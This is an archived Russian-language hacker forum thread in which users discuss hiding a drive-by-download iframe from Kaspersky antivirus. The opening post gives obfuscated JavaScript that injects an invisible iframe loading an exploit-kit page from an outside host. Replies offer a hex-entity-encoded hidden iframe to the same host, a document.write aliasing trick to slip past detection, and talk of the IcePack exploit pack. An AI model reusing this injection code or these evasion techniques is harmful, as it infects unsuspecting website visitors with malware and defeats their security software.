PDA

Просмотр полной версии : палящийся код


KIB0RG
31.12.2007, 15:58
<script language="JavaScript"> eval(unescape("document.write%28String.fromCharCode%2860%2C105%2C 102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2 C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C 119%2C119%2C119%2C46%2C101%2C108%2C45%2C115%2C101% 2C108%2C108%2C46%2C99%2C111%2C109%2C47%2C110%2C117 %2C99%2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C11 2%2C104%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C 104%2C61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C1 03%2C104%2C116%2C61%2C34%2C48%2C34%2C62%2C60%2C47% 2C105%2C102%2C114%2C97%2C109%2C101%2C62%29%29%3B")); </script>
вот этот код палиться Касперов, чем можно его шифрануть чтобы Он остался рабочим, но каспер молчал?
заранее спасибо

(кстати, почему в коде появились проблеы во впремя ПОстинга?)

Piflit
31.12.2007, 16:11
http://www.el-sell.com/nuc/admin/
новый чтоле?

рекурсивные айфреймы? че за бред?

KIB0RG
31.12.2007, 16:16
та не, старый

так чем можно скрыть?

кста, какая последняя версия айспака?

KIB0RG
31.12.2007, 16:49
рекурсивные айфреймы? че за бред?
да я хз, каспер ругаеться только на этот код!
как его скрыть - я хз

aka PSIH
31.12.2007, 16:53
Скорее всего это не код палиться, я сама связка...

Пробуй так, в твоем случае (http://www.el-sell.com/nuc/index.php)
<iframe src="&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x77;&#x77;&#x77;&#x2E;&#x65;&#x6C;&#x2D;&#x73;&#x65;&#x6C;&#x6C;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x6E;&#x75;&#x63;&#x2F;&#x69;&#x6E;&#x64;&#x65;&#x78;&#x2E;&#x70;&#x68;&#x70;" width="1" height="1" style="display:none"></iframe>

ТОлько без разницы как ты iframe повесишь, если сам сплойт палится...

KIB0RG
31.12.2007, 17:17
не, у меня НИЧего не палиться кроме страници index.php, начал я ее резать на части каспер орал только На тот код который я выложл в 1 посте, тоесть
<script language="JavaScript"> eval(unescape("document.write%28String.fromCharCode%2860%2C105%2C 102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2 C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C 119%2C119%2C119%2C46%2C101%2C108%2C45%2C115%2C101% 2C108%2C108%2C46%2C99%2C111%2C109%2C47%2C110%2C117 %2C99%2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C11 2%2C104%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C 104%2C61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C1 03%2C104%2C116%2C61%2C34%2C48%2C34%2C62%2C60%2C47% 2C105%2C102%2C114%2C97%2C109%2C101%2C62%29%29%3B")); </script>
заменить на это?
<iframe src="&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x77;&#x77;&#x77;&#x2E;&#x65;&#x6C;&#x2D;&#x73;&#x65;&#x6C;&#x6C;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x6E;&#x75;&#x63;&#x2F;&#x69;&#x6E;&#x64;&#x65;&#x78;&#x2E;&#x70;&#x68;&#x70;" width="1" height="1" style="display:none"></iframe>
PS: АйсПак Платинум - это последняя версия? или есть еще более новые?

.Striker
31.12.2007, 23:11
подскажите каким образом вы кодируете ифреймы?

KIB0RG
01.01.2008, 20:17
да кстати, тоже интересует

GROB_T
01.01.2008, 20:53
.Striker, KIB0RG, почитайте мануалы по JavaScript

Soviet[HZ]
01.01.2008, 20:54
Попробуй в url кодирову перевести )

-=[AL!EN]=-
01.01.2008, 20:57
Хватит юзать паблик связки и загаживать хорошие ресурсы своими палевными фреймами :(

KIB0RG
01.01.2008, 21:31
твои слова ничего не значат, от твои слов никто не перестанет юзать пабликовские связки....

темболее покрайней мере я, Никуда палевный ифрейм не засуну, только рабочий >=)

Dragon_X
06.01.2008, 12:13
если сплоиты только под IE, то используй замену функций

document.write(...);
меняешь ан
var t = document.write; t(...);